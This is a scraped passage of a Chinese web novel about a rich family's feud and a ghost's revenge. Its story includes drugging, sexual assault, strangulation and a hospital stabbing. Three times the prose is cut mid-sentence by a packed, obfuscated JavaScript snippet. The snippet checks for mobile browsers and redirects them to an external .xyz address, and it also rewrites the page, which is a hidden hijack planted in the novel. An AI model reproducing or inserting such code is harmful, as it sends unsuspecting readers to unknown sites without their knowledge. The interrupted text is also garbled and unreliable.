他清楚这份感情是病态的，于是，他查阅史书、翻找病例，发现，原来这种龙阳之好在世界各地都普遍存在，并且有不少地方、不少时代都以此为荣。 他不再害怕了，反而开始怨恨这个世道，但又认定自己的真情可以冲破世道的枷锁。 于是，他药倒了林炜豪，再如同驯服一头独角兽般，任由利刃刺破他的纯情。 谁知在那紧要关头，林炜豪竟然喊了老婆的名字！ 美梦在刹那间被打碎，而饮酒壮胆的他也在一时冲动之下，掐死了林炜豪。 为了处理尸体，他联系了家里人，而他的弟弟竟亲自带人过来帮忙，这一举动令他深深感动。 自此，他们兄弟再也没有任何不和。 只是午夜梦回之时，他总是会回忆起这段往事。 ——如果，当初你能接受我的表白，和老婆离婚，跟我在一起，现在的你早就过上了你梦想中住豪宅开大车的日子了！而不是变成一堆被卡车碾碎的烂肉了。 活、该、啊、你！ 这就是你拒绝我的代价！ 裴贺泽的呼吸逐渐失控，起先是压抑的“咯咯”声，犹如轮胎急刹车时的哀鸣，然后变成了断断续续的尖锐气音，最后……他的嘴角不自然地向上撑开，形成一抹扭曲的大笑。 那副宁静慈悲的面容被他亲自撕碎，露出底下比恶鬼还要可怖的人心。 而裴贺泽不知道的是，从他出现在房间里的那一刻起，林炜豪便紧紧地贴在他的眼前，压抑了二十多年的怨恨在重新见到仇人的这一刻骤然爆发，房间里回荡着枉死鬼凄厉的咆哮声。 “裴贺泽！你不得好死！！！” 林炜豪张开巨口，撕咬着裴贺泽的血肉。 虽然裴贺泽的身体没有受伤，但黎舒注意到林炜豪似乎吃下了什么东西，尔后死相竟是变得越来越狰狞，导致整个房间里都盘旋着一股腐朽潮湿的气息。 黎舒长这么大，从没看过他爸的反应像今天一样强烈过。 忽然，裴贺泽手上的凶器闪烁鲜血般浓厚的红芒，林炜豪的鬼魂一点点浸入其中，很快便从房间里消失不见。 这一奇景令黎舒不由怔神。 ……这似乎是，传说中的附身？ 他爸想用裴贺泽的身体做什么？ 17.第 17 章 暑假末，裴家的舆论迅速发酵，顶替了花式补作业的中小学生们，受到了全国吃瓜群众的激情讨论。 没人能够拒绝“豪门世家+亲爸后妈+兄弟斗争”的吃瓜套装。 整个九月，裴家好似买断了全社交平台的热搜词条，连开学季都没降低“裴家内斗”的讨论度。 直到十月份的国庆中秋双长假到来，再加上裴氏集团的公关部门发力，裴家这才带着全盘飘绿的股价狼狈地下了热搜。 但裴毅寒身上“宅斗王者”的标签却洗不干净了。 有心人扒出了裴毅寒的事业发展状态，发现他堂堂一个豪门嫡长子，竟然只有自家集团的管理股！要知道管理股只有分红权，不可转让、抵押、继承，是大企业捆绑人才的一种手段。 而裴毅寒唯一能全盘掌控的项目，竟然只有电竞酒店这一个支线品牌！且这条支线品牌还是大伯裴贺泽赠予的！可见裴父这个亲爹是一点实权都不肯给啊，妥妥的将大儿子当工具人。 俗话说得好，钱在哪里，爱就在哪里，明眼人都能看出裴毅寒是被刻意培养成过渡接班人的。 试想一下，自己同父异母的垃圾弟弟先是在国外醉驾撞死人拿钱摆平，后又因学术造假和行贿遭到当地制裁被遣返回国，而自己不仅要兢兢业业地管理集团，还要帮垃圾弟弟擦屁股，甚至是退位让“贤”给对方，谁能忍得了这差别对待？ ——以上，便构成了裴毅寒谋杀裴父、林丽蓉和裴毅松的原因！ 至少，林丽蓉的娘家对此观点深信不疑，并派出了大量水军给裴毅寒泼脏水，要求警方彻查裴毅寒。 好在该有的监控都有，那个被林丽蓉毁容的保镖也在裴毅寒施压后出面作证，称裴毅松的伤是他自己惹的祸，与旁人无关。 最后警方发了通告，向大众声明这一系列事件均属意外，林家只得不了了之。 但真正让林家闭嘴的，是来自裴毅寒的威胁。 林老爷子是在帮女儿和外孙转院那天与裴毅寒碰的面。 林家老两口这阵子为了女儿和外孙心力交瘁，一下子苍老了十岁不止，偏偏正值流感高发期，他们在奔波中倒霉的患上了流感，两个七八十岁的老人这么一折腾下来直接没了半条命。 反观裴毅寒，虽然英俊的模样稍显疲惫，头发也硬生生熬白了几根，但是精神却很好，眼神像淬了冰的刀锋，夹带着疯狂的血色。 权力是补品，大补！ 林老爷子还没来得及破口大骂，裴毅寒便抢先一步发难了。 “我奉劝你们，如果你们想继续宣扬并彻查裴毅松受伤的事情，那么大家都不会好过。裴毅松是被裴氏星海酒店总统套房的电视机炸伤的，此事一旦公开，大概率会造成裴氏旗下所有酒店品牌的股价在短时间内直接跌停，后续裴氏的品牌声誉受到不可逆转的负面影响。” “我只是一个持有裴氏集团管理股的临时总经理，我自己那个电竞酒店的项目已经提前与裴氏做了切割，裴氏出事，对我的影响会降到最低，而你的女儿、你的外孙、还有你们林家却会实打实的蒸发上百亿！” “另外，我会请全国最好的律师团将裴毅松送去坐牢，他绑架了温茉茉并企图实施侵害，人证物证确凿，无论天数长短，我一定要让他坐牢，并确保让他会成为人人喊打的过街老鼠。或许等将来‘太监’这个词从世上消失了，他也就不必被其他人‘刮目相看’了。” 自打裴父等人出事后，裴毅寒就锋芒毕露，不再克制自己的野心。 他深知自己现在就是裴氏集团最合适的继承人！只要碍事的人全都消失，他就会成为裴氏集团唯一的继承人。 目前他正从散户手中收购裴氏的股票，威逼利诱裴父手下的老人为自己做事，并成立了独立调查组追溯集团二十年内的资金流向，疯狂地啃噬着裴氏集团内部的权力。 即使面对家族内部虎视眈眈的其他四房，还有外界如鬣狗般舔舐牙齿的同行，裴毅寒也从没想过要去仰赖林家。 他多年来的苦日子跟林家脱不开干系，林老爷子爱女如命的美好品格是他灾难的根源，他巴不得林家二老立刻去世，他的后妈会继承林家的全部遗产，等后妈死后，这些遗产会落到裴父手中，最后顺理成章地渡让到他的手中。 除非林老爷子要把遗产捐了。 问题是，可能么？ 林丽蓉经过12小时的抢救，住了半个多月的ICU，人虽然被救了回来，但是大脑受损，四肢不再协调，甚至会有大小便失禁的情况，生活完全不能自理，现在每天都在病床上以泪洗面，将来必须花钱才能保平安。 而裴毅松的精神受到了极大的刺激，变得有些疯癫了，后续即便为他安装一个人工假体，他也不可能跟正常男性一样生活了。 林家二老还能活几年是个问题，林家亲友这边没人靠得住，而裴家这边，裴父好歹还活着，另外裴大伯也能照顾血脉相连的侄儿两分。 于是，林老爷子撒出去的钱就成了吊着马儿前进的胡萝卜，是林丽蓉和裴毅松后续能不能活、能不能活得好的关键。 这钱，一定会掉到裴毅寒手心里。 现在裴毅寒愿意谈条件，说明他已经给了林老爷子一个台阶下，否则…… 裴毅寒的眼神挣扎在人与非人的边界线上，见状，林老爷子意识到大势已去，但凡自己这边再有点小动作，都会给裴毅寒心狠手辣的理由。 林老爷子不敢再降低裴毅寒的底线了。 林家老两口后悔不已，觉得当初无论裴父和裴大伯如何劝阻，他们都该找人弄死裴毅寒的，看吧！原配的儿子果然会报复后妈！然而现在说什么都晚了。 而裴毅寒岂止是想报复后妈啊，他连自己亲爹的死活都顾不上了。 且不说裴毅寒每天忙得不可开交，没有闲工夫来医院探望裴父，再说，他又不是灵药成精，哪怕来了医院，对于裴父的康复也不见得有效，何苦浪费时间给自己找事。 于是裴父已经住了一个多月的院，裴毅寒只来了医院三次，每次都是草草看一眼迅速走人，顺便让公关部买个#裴家父子情深#、#豪门嫡长子最孝顺#的热搜词条来为自己造势，剩余时候都是管家和裴贺泽在帮忙看顾。 黎舒跟裴父毫无交情，但“心疼”裴贺泽，隔两天就会过来“探望”一下。 自打那天林炜豪的鬼魂融入凶器之后，黎舒还以为裴贺泽的身体被林炜豪占据了，试探地喊了声“爸”。 结果裴贺泽一脸困惑地扭过头，怜悯地询问黎舒是不是缺乏父爱了。 ——这屁话说的，导致他缺乏父爱的罪魁祸首是谁？ 瞬间，黎舒便清醒过来，意识到林炜豪的附身和他想象中的不一样。 渐渐的，他在裴贺泽身上瞧出了端倪。 裴贺泽老得特别快。 那张原本微胖的脸变得干枯凹陷，少有皱纹的皮肤也一下失去弹性，如同枯树皮般堆积在颧骨上，但真正令人望而生畏的是他的眼睛。 那双披着祥云慈晖，特别有伪善气质的眼睛仿佛彻底被毒雾污染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051308|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，变得浑浊黏腻，就连裴毅寒见了也觉得惊悚和陌生，专门抽出一天陪裴贺泽做了体检。 体检显示裴贺泽身上没有任何毛病，之所以会出现迅速衰老的问题，可能是忧思过重的缘故。 裴毅寒特别感激黎舒能过来陪陪大伯，温茉茉还跟他处于分手状态，对裴父又心存芥蒂，和裴大伯也完全没有交流过，自然不会来医院走上一遭。 对此，黎舒半开玩笑地说：“我每次过来，裴伯伯都会让我挑一件法宝走，好像是我厚着脸皮专门过来讨赏的。” 裴毅寒缓声道：“大伯是自愿给你的，我看他最近不信佛了。他说自己以前做了这么多功德，到头来双胞胎弟弟却病得这么重，可见那些东西只能图个心理安慰。” 只有黎舒知道这些法宝可不仅是心理安慰这么简单，是真的能对鬼魂生效的。裴贺泽收藏众多，有真有假，但给黎舒的全都是真的。 黎舒自有测试手段，他只要去和温茉茉见一面，温父露出嫌恶的表情远远地躲到旁边，就说明东西是真的。 这也说明林炜豪对裴父影响深重。 国庆的后一天便是裴父和裴贺泽的生日。 这天，裴毅寒提早忙完了今天的工作，让助理从蛋糕店取来提前两天预订的生日蛋糕，叫上黎舒一起赶往医院为裴贺泽庆生。 高级私人病房的楼层十分安静。 “哒、哒、哒、哒……” 裴毅寒和黎舒的脚步声踏在回廊上，传来一阵阵冰冷的回响，仿佛有很多人跟在他们的身后，在期待着一场仪式的到来。 “大伯，我和黎舒……”拉开拉门的刹那，裴毅寒难得露出的浅笑凝固在脸上。 “嗤！” 刀子切肉的闷响震耳欲聋，一道腥臭的热流溅在了裴毅寒的脸上。 只见裴贺泽骑在裴父的身上，手中的水果刀一下又一下地扎进裴父的身体里。 整张病床被鲜血染至深红，裴父还未彻底死去，两眼涣散地看着自己的双胞胎哥哥，一开一合的嘴巴似是有话要说，但喉咙里翻滚着的沼泽气泡般黏腻冗长的咕噜声淹没了一切。 “大伯！你在做什么！！！” 裴毅寒冲上前，一只手拽住了裴贺泽的手腕，另一只手强行夺过了水果刀。 直到此时，裴贺泽才回过神来，僵硬地扭过头：“小寒，我是为了你好啊！” 裴毅寒瞳孔颤抖：“大伯你什么意思？” “只有你爸早点死了，你才能顺利接替裴氏的业务！”裴贺泽枯瘦的身躯疯狂颤抖，如同一头失去理智的老兽般发出声嘶力竭的嘶吼，“从小我就嫉妒他，明明是双胞胎弟弟，他的成绩却比我好，也更得父亲宠爱！是，我掐死了林炜豪，是你爸帮我善的后，但是不就死个人么？谁的手里又干干净净！他借刀杀了那么多人，凭什么我只能在公司伏低做小……” “大伯……？”裴毅寒退后两步，混乱的思维无法理解裴贺泽的话语。 突然，他想起林炜豪是谁，又用沾满鲜血的手用力抓在黎舒的肩膀上：“我大伯他疯了，他连我爸都杀，你别信那些疯话……” 黎舒的视线越过裴毅寒，定定地注视着发狂的裴贺泽，嘴角不自觉地上扬，最后形成一个无声的狰狞大笑。 推开碍眼的裴毅寒，黎舒深吸了一口气，如同欣赏艺术般专注地看着裴贺泽撕咬裴父，直到裴父咽气都没停下。 他明白了。 原来这就是他爸的报复。 他爸可真是为他铺了条通天大路啊！ 18.第 18 章 裴毅寒被黎舒这一推，踉跄地跌坐在地上。 病房里充斥着浓郁的血腥味，但这已经不是单纯的血腥味了，而是无数条滑腻的蛇沿着毛孔钻入体内，在肠胃中游走、在肺部筑巢、在大脑里啃咬。 裴毅寒表情一片空白，仿佛是意志与梦魇正在展开一场拉锯战，他想睁开眼，却无论如何都醒不过来。 直到黎舒幽冷的嗓音化作一条绳索，将他套牢，狠狠地扯回残酷的现实里。 “裴毅寒，我们应该报警。” “不行！不能报警！”裴毅寒像是一条被踩了尾巴的狼，应激地弓着后背，露出凶狠的表情。 黎舒回过头，居高临下地看着裴毅寒扶着墙壁艰难起身，哂笑：“为什么？” “豪门内斗弑亲这种命案丑闻的杀伤力太大了，会造成毁灭性的连锁效应。”光是想想后果，裴毅寒就头皮发麻，浑身战栗。 命案丑闻存在本身，就说明豪门机器已经失控，否则丑闻根本不会出现，早就被掩饰过去了。 这足以让裴家的家族声誉在顷刻间崩塌，内部股价闪崩、派系斗争彻底失控，外部政商关系断裂、合作伙伴撤资。 就连他自己，也将深陷舆论风波之中无法挣脱。 ……不行！ 他好不容易才得以掌管整个裴氏集团，他决不允许这种失控情况出现！ “黎舒，就算是为了我好，你也务必将此事保密。” 黎舒状似不解地紧皱眉头：“但死的是你爸……” 裴毅寒斩钉截铁道：“裴氏是他一辈子的心血，他也一定不会愿意见到裴氏被毁。” 真是个冠冕堂皇的借口啊！ “死人又不会说话，裴哥，你现在的回答，是不是太自以为是了？”黎舒半是讥诮地勾了勾嘴角，又半是认真地说，“但裴贺泽说他杀了我爸，我需要一个解释。” “他疯了！你为什么要信一个疯子的话？”裴毅寒揉了揉眉心，努力让自己冷静下来。 事情有轻重缓急，而当务之急便是先安抚住黎舒，让黎舒不要泄密。 裴毅寒勉强维持镇定，缓了缓声音：“这样吧，我会给你一个交代。” 黎舒挑眉：“你拿什么给我交代？你大伯的精神病诊断报告吗？” 裴毅寒：“是。” 黎舒挑眉，视线淬着冷冽的寒意，如同一柄出鞘的剑。 果然啊，刀不扎自己身上就是不会痛。 “这只能证明你大伯现在是因为发病才杀了你爸，至于他过去有没有杀了包括我爸在内的其他人，谁晓得？” 裴毅寒从没见过黎舒如此咄咄逼人的模样，既错愕又烦躁，主动后退一步：“我会找出我大伯杀了你爸的证据。” 黎舒反问：“如果找不到呢？” “那他刚才说的就是一句疯话，没有证据，也不需要证据。”过多的失控让裴毅寒的理性阈值变得很低，以至于他一个不注意便撕碎了自己长期以来佩戴的沉稳的面具，泄露了傲慢的底色。 但兴许他自己也从未觉察到自己的傲慢，他只是像对待宠物一样，高高在上地安抚着黎舒的情绪，或者说，企图掌控黎舒的情绪。 “我知道你也受了刺激，但你跟个疯子认真计较，只会显得你很不理智。” 闻言，黎舒感到一阵荒谬的笑意从心里涌了上来。 他不理智？ 现场三个活人一个死人里，就他是最理智的了。 他既不像裴贺泽那样鬼迷心窍，也不像裴毅寒那样焦心于还未到手的利益急得团团转，他冷眼旁观着林炜豪的复仇，只觉得连空气都透着胜利的芬芳。 黎舒稀奇地打量裴毅寒，好似从没认识过这个男人。 虽然他早就清楚裴毅寒汲汲营营，但没想到还这么擅长诡辩，想要用“裴贺泽发疯”这一理由制造阶级差，直接剥夺他的话语权。 “没有证据的事情太多了……”黎舒半眯着眼睛，歪了歪头，促狭道，“好比你无法证明自己跟裴贺泽不是亲生父子关系。要知道，连DNA检测都觉得你们是亲生父子。” 裴毅寒呼吸一滞，喝斥道：“谬论！” “抱歉啊裴哥，我就是看有人死在面前，血淋淋的，一时害怕，才情不自禁地说了一句疯话，既然是疯话，那就无需证据，也不需要证据。”说着，黎舒便坐在干净的沙发上，翘起二郎腿，手背撑着下巴，满脸无辜地盯着裴毅寒，“你这么认真计较，只会显得你很不理智。” 裴毅寒被噎得说不出话来，同样的话由别人嘴里说出来真是怎么听怎么刺耳！ 他脸色发青地瞪了眼黎舒，反省了一下自己的口不择言，却压根没意识到眼前的青年完全脱离了平日的人设。 又见黎舒没有吵闹也没有离开，只是安静地坐在那里，裴毅寒便觉得黎舒应该是站在自己这边的，不由松了口气。 都说杀人容易抛尸难，接下来、接下来他该做什么…… 黎舒状似无意地说了句：“裴哥，我觉得你应该去检查一下监控，看看你大伯是不是真的发疯。” 对了！监控！ 裴毅寒正欲抬腿向外走去，又想到自己脸上和衣服上沾了血，连忙脱下外套，去厕所用水冲了把脸。 他刚将手放在推拉门上，又想到什么，回头看向黎舒。 黎舒招招手：“裴哥放心，我不会走的，我在这里守着你大伯，避免他后续做出其他过激行为。” 裴毅寒下颚线绷紧，瞳孔微微收缩，凌厉的双眼里明暗交错，迅速斟酌起来。 眼下，他不敢让黎舒过去看监控，也不能陪黎舒留在病房等管家跑医院来处理监控。 “小心点。” 黎舒笑眯眯地应下。 在裴毅寒走后，像空壳一样坐在地上的裴贺泽捡起了打落在地的水果刀，面无表情地对准了黎舒。 “别杀我，我什么都不会说的！”黎舒一脸惊恐地举起双手，表情有些戏剧性的浮夸。 “乖，孩子……”裴贺泽僵硬地咧开嘴角，声音听起来熟悉又陌生，隐约有另一道阴冷的男声与原声重叠着。 这就是黎舒不会害怕的原因。 然后，黎舒就见裴贺泽三下五除二便将现场收拾干净，速度快得像开了快进，十分不可思议。 等裴毅寒气喘吁吁地跑回病房，裴贺泽又变成一副空壳模样，用只有他自己能听见的声音喋喋不休地嘟囔着什么胡话。 “有伤到哪里吗？”裴毅寒紧张地询问黎舒。 “没有。”黎舒向裴毅寒递了一杯茶，“喝点儿？” 裴毅寒正是口渴的时候，二话不说便往嘴里灌了一口茶，然后…… “噗！咳咳咳——！！！” 裴毅寒被烫得喷了出来。 黎舒关心的语气里暗含一丝意味深长：“裴哥，怎么张嘴也不小心点，看，把舌头烫到了吧？” 裴毅寒怀疑黎舒是故意的，但他抿了抿嘴角，最终什么都没说。 十分钟后。 管家带着几个保镖进门，办理完出院手续后，接走了戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057822|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着口罩“熟睡”的裴父。 黎舒也顺势起身：“裴哥，那我先走了？” “嗯，麻烦你了。”裴毅寒拉住黎舒的手，嗓音沉闷得像是被盖在了潮湿的棉布下，“你是我最亲的弟弟，我不会亏待你的。” 黎舒笑而不语。 …… 一个小时后。 刚从外地搭乘私人飞机回到海州的乔凛在看完黎舒带来的录像后，面色前所未有的凝重。 黎舒发来的消息没有夸张，这确实是“没有第一时间看到就天崩地裂、地球爆炸的震撼事件”，不枉她花大价钱订了私人飞机。 黎舒的手指漫不经心地敲击桌面：“你说，要是裴氏集团的大股东们提前看到了这份录像，他们会做什么？” 当然是抛售手里的股票，立刻套现走人！ 这确实是一招大杀器，足以将整个裴氏集团置于死地。 但是太狠了，狠到乔凛都不禁踌躇了一下。 “裴毅寒正在收购裴氏集团的散股，你难道是想让他变成穷光蛋？” “瞧这话说的，怎么我像个坏人？”黎舒不赞同地摇摇头，“男人一有钱就变坏，我是想将他掰回正道。” 乔凛眼皮直抽抽：“……我觉得你比裴毅寒邪门得多。” 黎舒不置可否，平淡地说：“裴氏集团有没有为人还不错的大股东？” 乔凛纠结：“怎么，你要提醒对方？” 这人什么时候这么善良了？莫非在她不知道的时候去圣母院进修了？ “当然不是。”黎舒没好气斜了乔凛一眼，“吃饭也要讲究环境，我们买东西，找个为人好点的卖家怎么了？” 赚的就是差价！乔凛认同地点了点头：“这才对你的味儿嘛！” 半夜时分，有大量裴氏集团的股票以低价抛售，直接引起了股价波动。 秘书一通电话叫醒了裴毅寒。 裴毅寒面色阴沉，立刻吩咐秘书查查是怎么回事。 很快，秘书回应称：“网上有不少消息猜测您的父亲小裴董状况不太好，因为大裴董的近照与之前对比起来相当憔悴……公司有风声说，大裴董在医院陪小裴董的时候做了体检，检查出癌症，活不了几个月了，这才暴瘦……” 裴毅寒高高吊起的心脏缓缓落地：“……没有的事。” 秘书：“我联系公关部辟谣。” “不必，辟谣的事情过段时间再说，现在的当务之急是这些股票。”裴毅寒感到胸口一阵轰鸣，呼吸都忍不住粗重起来。 这就是老天给自己的机会啊！ 裴毅寒立刻联系银行贷款，不惜一切代价也要将这些股票拿下！ 仅仅两天后，裴毅寒在裴氏集团占股达到了20%，也算得上是一个大股东了，再加上裴贺泽手里的股票以及裴父的遗产，不出意外的话，今年之内他将成为对裴氏集团绝对控股。 然而不出意外的话，意外就要来了。 “裴总！不好了！”老宅的保姆打来电话，声音无比焦急，“有调查员过来将大裴董和管家都拷走了！” “什么？”裴毅寒还没来得及挂断电话，房门便从外面被打开。 “我们是海州市调查大队的刑事案件调查员。”几个身穿制服的调查员出示了一下证件，“关于你大伯裴贺泽杀害你父亲裴贺州一案，感谢您提供的录像证据，我们还有事情想找您了解一下。” 谁提供的录像证据？ 他？ 裴毅寒手上的力道一松，手机摔在地上。 19.第 19 章 深夜，客厅被静谧的黑影笼罩，摆在茶几上的晚餐早已凉透却完好无损。 裴毅寒仰倒在沙发上，身上还穿着白天工作时的那件深灰西装，稀疏的月光透过窗户照进房间，落在西装上，像是有大量的菌丝肆意滋长，将西装下的人影吃干抹净。 他脑海里已经记不清自己是如何回答调查员的询问，也记不清自己是怎么回家的了，只记得沿途经过的办公室里发出的嘈杂非常刺耳，以及公司周围被人山人海的记者和轿车围得水泄不通的场景令他窒息。 手机震动几下，裴毅寒睁开布满血丝的双眼，将手机几度拿起又几度放下，但最终还是摁亮了屏幕。 血红色的光映照在那张英俊疲惫的脸上，屏幕上有一串数字如催命般疯狂跳动，但这串数字并非来电显示，而是裴氏集团的K线图。 自从裴家的命案丑闻被曝光后，裴氏集团这些天好不容易恢复平稳的K线图就像是被拦腰斩断的大动脉一样飙血，市值一落千丈，比这一秒跌得更狠的股票是下一秒的裴氏集团。 这也意味着裴毅寒裴氏集团大股东的位置还没坐热，就成了负债几十亿的大负豪。 突然，手机浏览器弹出新闻推送。 #裴毅寒大义灭亲# #裴氏崩# #裴氏合作方集体终止协议# #裴毅寒宅斗mvp结算# #裴贺州遗产分割# #裴贺泽弑弟内幕# …… 裴毅寒自虐般地点开新闻，大量的标题展开，每一条标题都在他的视网膜上烙出血痕。 大脑神经元反复被“裴”字刺激产生语义饱和现象，隐约间，他甚至感到自己的灵魂被放置到了观众席上，他不再是裴氏的子弟，而是一个被无聊表演麻木心智的看客。 【大伯杀弟弟，侄子检举大伯，放在我们村里可以被说十年。】 【厌蠢症犯了，裴毅寒真的走了一步臭棋，他该不会觉得大伯没了自己就可以坐稳豪门集团掌舵人的位置了吧？】 【事情没那么简单吧，那段流出来的录像我看了，裴贺泽口口声声说是为了裴毅寒才杀弟的，该不会裴毅寒其实是大伯的儿子吧？不然我想不通，大伯有亲生的子女不疼，却帮着侄子杀亲弟弟，同卵双胞胎的弟弟啊！】 【我跟我哥也是同卵双胞胎，我俩好得跟连体婴似的，我们只会一起创死全世界，不会自相残杀。】 【烫知识，所有同卵双胞胎的孩子都有俩爹，现代科学根本检测不出来是谁生的！所以……懂的都懂，嘿嘿~】 【这么一看，裴贺州的原配、裴毅寒的亲妈为什么会失踪也很可疑……】 【豪门宅斗到最后真的没有赢家，裴氏都崩成什么样了，放眼十年都找不出跌得这么狠的，据说裴毅寒一直在收购股份，这下是彻底玩完了，合作方都跑光了，社死啊。】 【难怪豪门都要掩盖丑闻呢，这杀伤力，令人叹为观止。】 【今天好多香江ip的评论啊，为了分割遗产，裴氏各地的野生亲戚全都冒了出来，夸夸买氵，真的给死大眼赚到了。】 【裴毅寒还能起来吗？】 “……裴毅寒还能起来吗？”裴毅寒下意识地将这句评论念了出来，喉间突然尝到一股腥甜味。 他这才发现自己竟然咬破了舌尖。 “我没倒下。” 这四个字构成了一道咒语，亦或者是麻木的大脑开始自我催眠，裴毅寒不断重复着“我没倒下”，竟真的渐渐找回了理智。 首先，他要去查清楚录像究竟是从哪里流出来的。 暗中好像有一双无形的手操纵着一切，根本不给他反应过来的机会，左一个录像，又一个全网联动，一击便将裴氏锤死在地上，根本不可能是巧合。 至少，他要知道自己的敌人是谁……确切来说，是哪些人。 终于，裴毅寒的视线越过了99+的未接电话，首先给自己的私人助理拨打过去。 谁知对方得知他的吩咐后，却无比惊讶地反问：“裴总，真不是您传出来的吗？” “不是我。”听到连助理都产生了这样的误会，裴毅寒顿感一个头两个大，“为什么连你也觉得是我？退一万步步说，如果是我就好了，至少事情不会演变成现在这种局面，你觉得我会在收购股份的紧要关头自寻死路吗？” 助理在电话另一端沉默许久，估计是心里在想，说不准就是情绪上头一时失了智呢？ 毕竟，死的是亲爹啊。 做儿子的不惜代价想要为亲爹讨一个公道，却让自己也深陷火坑，虽然很令人唏嘘，但属实是合情合理…… 最后，助理说：“总之您看过录像视频，应该就会明白了。” 裴毅寒没有看过流传的录像，也不想看，哪怕他真的对裴父的死生不出一点悲伤，甚至渴望那个严厉专横、独断专权的中年男人去死一死，但任何一个心理正常的人都不会想重温一遍自己的大伯刺杀亲爸时的景象。 光是在脑海里浮现起那幅画面，裴毅寒的鼻腔里仿佛就涌起一股浓烈的血腥味，这股血腥味像是毒蛇一样朝着他的肠胃狠狠一拧。 “唔……” 裴毅寒吐了出来，但只呕出了一些酸水。 他已经一天没吃东西了。 忍着胃部严重的不适，裴毅寒脸色苍白地点开了助理发来的视频。 只一秒，他就发现了不对劲。 视角有问题！ 这录像并不是监控摄像头的视角，而是平行在他的身侧，就好像有一个人举着摄像头在拍一样。 问题是，当时他身边站着的只有…… “不，不可能是黎舒……！” 空气忽然异常沉闷，裴毅寒扯了扯领带，原本一丝不苟的领结不知何时成了勒住呼吸的绞绳。 他猛地抬手抓挠头发，像是以这种形势告诫大脑不要去怀疑最亲近的人：“他已经答应我了……吗？” 怀疑的种子一旦埋下，就无法抑制它生根发芽。 顾不上时间，裴毅寒给黎舒拨去电话。 没有接通。 他又发了很多消息，也没有得到回应。 “……现在是半夜，黎舒只是没看到消息罢了，他没有熬夜的习惯。” “等起床后他就会看到了。” 裴毅寒喃喃自语地让自己安定下来，干瞪着眼等黎舒的消息。 他从天黑等到天亮，时间仿佛被无限拉长，每一秒都煎熬得令人疯狂。 直到后脑勺像是被砸了一闷棍，裴毅寒眼前蓦地一黑，身体不受控制地倒了下去…… 不知过了多久。 鼻尖传来刺鼻的消毒水味道，裴毅寒感到身体恢复了几分力气，等再度睁开眼时，发现自己已经躺在医院的病床上输液。 温茉茉又哭又笑地扑了上来：“裴毅寒，你终于醒了！你已经昏迷两天了你知道吗！” “我……怎么了？”裴毅寒张了张口，声音粗哑得像是被砂纸摩过一般。 温茉茉忿忿地瞪圆了眼，斥道：“你这两个月疲劳过度，最近几天又不吃不睡，身体怎么可能撑得住？如果不是保姆阿姨过来给你做午饭，你死在家里烂了臭了都没人知道！” 裴毅寒闭了闭眼：“茉茉，对不起，让你担心了。” “滚！圆润地滚！你自己都不担心你自己，还指望我来担心你啊？”温茉茉没好气地骂了两声，但语气很快便软化下来，伸手摸了摸裴毅寒的侧脸，“我待会儿让保姆阿姨送点营养又好吃的过来，你想吃什么？” “……山药鸡丝小米粥。”裴毅寒立刻想到了上一次住院时黎舒给他送过来的食物，此后，他就没在其他地方吃过山药鸡丝小米粥了。 手上有营养液吊着，其实裴毅寒现在不饿，可他感到嘴巴里又干又苦，如果必须要吃点什么的话，就只有山药鸡丝小米粥了。 两个小时后，保姆阿姨将做好的山药鸡丝小米粥用保温壶装着送到了医院里。 整间病房里都飘着鲜香的热气，连冰冷刺骨的白炽灯都似乎暖化了下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063664|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴毅寒被温茉茉喂着，一口一口慢慢吃。 保姆阿姨手艺很好，但是裴毅寒却有些食不知味，虽然两道粥的外观十分相似，但很明显，眼前这道粥没有他记忆中的那股味道。 此刻裴毅寒也无心挑剔什么，吃完后，问温茉茉：“黎舒他……有过来看我吗？” “没。”温茉茉摇摇头，“学长和乔姐姐去外地出差了，还要过三天才能回来。” 裴毅寒：“我的手机呢？” 温茉茉：“在这儿，给！你手机没电了，我想着你醒来后要看，就一直给你充着电。” 裴毅寒匆忙打开手机，却发现黎舒压根没回他发的二十多条消息，明明已经过去两天了。 不仅如此，以往的日常问候也都消失了。 无形中，仿佛有一道箭狠狠扎在了裴毅寒的心脏上。 他几乎可以确定一些事情，也想迫不及待地找黎舒当面对质，可他现在的身体还什么都做不了，便只能在医院里好好养着。 幸亏医生给他开了镇定安神的药物，让他的大脑思考不了其他事，吃完东西后只能昏昏沉沉地睡下。 就这样，裴毅寒住了一星期的院，勉强养好了身体，在第一时间去探视了裴贺泽。 看守所内，透明玻璃的另一头，中年男人的身形如同被风刮倒的枯树，挂着明显宽大的囚服，一身皱巴巴、黑黢黢的皮肤裹在骨头上，整个人的精气神都像是被吸干了一样，又干又黑又瘦，浑浊的双眼里充斥着憎恨之色。 这人是谁？ 